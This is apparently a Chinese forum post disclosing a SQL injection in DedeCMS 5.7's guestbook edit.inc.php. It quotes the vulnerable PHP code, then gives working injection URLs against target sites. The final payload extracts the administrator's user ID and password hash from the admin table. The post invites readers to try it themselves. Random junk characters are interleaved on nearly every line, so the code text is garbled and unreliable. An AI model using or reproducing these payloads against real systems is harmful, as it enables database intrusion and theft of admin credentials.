影响版本为5.7
- @2 h9 e. n* ^, X
$ N" ^4 B* x# M3 `/ ]" Y' b漏洞文件edit.inc.php具体代码:' f1 |8 I1 l3 R1 e# z2 H! C& ?4 Q
0 ?: O; M! D' z% @4 a: J" F< ?php
6 d) Z; f- D9 i
5 ?( C) }+ X( {if(!defined('DEDEINC')) exit('Request Error!'); ; l$ F, J3 s/ t7 }- P8 ]& `( k
0 p' s: ^; u5 n$ u O& n' g; C4 W # D3 ?! \+ ~, j- O# X
4 T5 N) _) B9 r; C: |
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
- [2 ]* s8 \* r. y. ^! i5 `9 w; _; h: A' Q# ]9 m
else $GUEST_BOOK_POS = "guestbook.php"; % L" d4 g- j/ o1 K4 \/ h
8 P. m; k% a3 {
1 d- j C( A7 {8 C8 k& B' X" o& g4 O9 A8 d7 J/ ~* |
$id = intval($id); 2 |, |, g* } g8 o
% K; Y" D2 Y' Q: i
if(empty($job)) $job='view';
1 H' F% r! c, d/ X1 } ]- X T% O
o/ h3 F/ ^/ Y2 W+ O) y( H
& X# ?9 q( e# i+ B/ X
2 h/ Q1 N& N# Z0 ^2 qif($job=='del' && $g_isadmin) 4 q0 p7 D* ~! z, ?& c2 }
3 H& E+ p: V! e' w
{
0 J, i' O/ k, X, s) L) F) J
8 d; x% l0 B- o( L- j3 {) q$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); , d: W, y4 {( S9 s
8 w& N" D1 m" f2 z6 G# ]$ \8 g
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
8 q4 j# H c: b; u2 r- `% L* V& h8 y0 @" l. U3 |+ ]
exit();
& V1 ~# ?! O/ }7 H" ]( D. B3 l2 x3 _& s9 Q ]3 J, n
} % [8 [6 V) \) r" D. h4 V2 o8 a) ]
$ | o+ e8 E6 t. E( {
else if($job=='check' && $g_isadmin) 0 u1 K7 w- T. w/ ^$ |+ b
& u5 B2 L" C+ m3 w. H8 C% d% \8 |{
( Y* @9 \, A+ t4 p6 T2 M+ S1 h6 e3 t/ u
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
* G2 n) U9 k S0 s5 |( |. |. H6 I" N% e6 M n
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
( v: [' I9 R$ ~, @+ M+ n0 h) y) [, O# |# o
exit(); 3 f1 C& }# l: v/ Q; A
6 N: @' _* K$ H8 G! X- E6 |
} 0 K0 r, Y% w4 B0 \$ A
6 R4 l9 c) e$ L S5 F6 K9 `9 relse if($job=='editok')
# f: Z" g9 b6 P9 D) b0 d" z; x7 o3 s' c! F# S! C9 X
{ 0 c) ~ Z( b! z z1 o" z% U
' g" K0 U, |* g# Y8 E
$remsg = trim($remsg);
$ u5 l' \& B6 d: }: @ ?2 I% d8 R; j; s. W) K) S( [& a
if($remsg!='') ) a# {0 e/ ?. i# Y* z
% n' Q8 x5 P8 @ V o( P3 Y3 H
{ ) i7 ^1 H2 N- Y' E& Q j; @
% I% m' B/ \% |* _
//管理员回复不过滤HTML By:Errorera blog:errs.cc
; \! f( ]9 o# F8 U
4 A% W! {1 H# T0 bif($g_isadmin) $ Z- u }- o# _
6 k8 T [* ]0 U( ?8 M{
1 W! c8 B: V, {/ k6 @ h
/ q$ l8 @% h7 ?$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
7 A3 _8 f! ]3 o) h5 H
3 G+ ?( ~9 H' u- i7 n6 h//$remsg <br /><font color=red>管理员回复:</font> }
; l" l" m" @2 W+ z# T A* \0 B1 i3 V. ]
else % ~) e! R2 X" O( I0 s
3 }9 W/ c; i. e; r' }
{ 2 x. \! ?6 S! d. J9 u9 c
" L/ F, R0 R5 j% ~. D5 e& u$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
" ]8 Y) r; s# w: g/ \
' {% i) q& `3 l0 T7 e( G# p$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; " G- T# h% _6 _$ K: x% J0 O
/ c& y# t! Z4 T4 {5 s: o% u& r5 h$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
7 T ?5 W4 I c$ i/ @& l+ t7 f. L9 V, T- J5 F/ t* W
$msg = $oldmsg.$remsg; 1 z. U5 ^, `/ h( ~. w0 z! q( _' {
! j9 M" q1 G( Q1 A; e( j}
8 M( p- l0 i3 \! l9 O. ]% g ?. ]1 N" Y7 I2 h
}
" p3 d0 N( }7 w2 L" k( Y* f% z& q! _: R
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc ) \; g1 [% P- A- G* x# Z
5 N" L/ q3 B S1 N- D$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
7 v; K8 e9 {$ W" I
6 R( I/ Z. z. `2 t9 R4 n6 ~: c% z* nShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
5 c* J* O* H( N$ U
& |" S4 C2 f* {+ R5 _exit();
, U0 B, u4 [: Z4 a. K7 d5 d$ v# w( ?2 `: @- ? ^( [
}
6 T7 ]8 C$ z# c. t: f4 a9 e+ ?; l5 o( p2 u
//home:www.errs.cc
t2 s) `4 b# P: Y$ R4 {! W
: @+ X$ Q j, t/ \2 A% G# dif($g_isadmin) & m+ _4 ?8 T0 f6 ]; j1 Q
L5 {+ W/ r, `0 n' s
{ 5 o$ W5 A, P/ Z/ E+ ^/ {
* S+ D8 K0 f* Z4 B5 [ P. x2 j. f+ p$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
7 Z5 q7 u9 K; j7 C
3 s, T6 r3 l0 J" q! ^4 Urequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
* k5 d2 }! ~3 Q' G
6 x( D: z9 t& K# X' \0 B} / s! D' m6 d# {" o; N& t, }; B
0 c8 M* \4 J5 F& S5 j$ p4 W
else
$ B8 X% h: i0 o; a& \8 i) R% X9 X. w
7 O2 J+ T8 q% d+ g* G. g{ / T# s2 g4 ^. v l% v
$ k5 m: W7 c+ b G6 W! \
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); [3 ^# b1 X S, W3 f9 _ \
6 a% D0 s6 F& H8 D: n, Krequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
0 |+ s" p0 Y) w( S4 f2 r& m: q5 b4 P0 n4 J5 t0 Q9 f
} 漏洞成功需要条件:( u) Q: }' c; z/ c. |! n7 z9 w9 \
1. php magic_quotes_gpc=off' c0 t! g* }# A' C' H* ]( s. s/ r
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
/ y$ {2 Z, H) ~. K1 H4 \& l, @* O4 M1 ~+ Q x( {
怎么判断是否存在漏洞:, H$ A0 y8 l) T; I& o% [
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
1 Z% b5 z' G/ k7 g( I; A然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID! p' U7 D2 J# k; j7 {
访问:5 D9 H% _ |6 t I- ^+ D b/ c5 ^4 D
+ l% E/ A( ^1 f+ t
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了* X7 r8 |# P+ b- a2 g
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证9 O2 I: I9 [# n( J' J$ C
3 R5 t; D4 x8 \
8 b! m* [8 `# m8 q明漏洞无法利用应为他开启了 php magic_quotes_gpc=off7 S% n: R3 i) s$ ]+ }, `' `, c
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。4 `; ^ V% p' F( }% X
那么再次访问
( H f6 e. E5 l! _! w9 ^
! @- i& V* t+ L2 jwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().- F1 |5 Z' A/ {8 X
9 L* i1 o% j3 m% k- o( }0 }& Z
大概利用就是这样,大家有兴趣的多研究下!!0 p+ Y8 [; ~" ~9 e/ R
/ A0 R: T" a/ q5 w
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!+ q2 A0 X1 U/ r3 c" \5 w
4 }( q+ i3 v, r _! s) t, Y' `view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |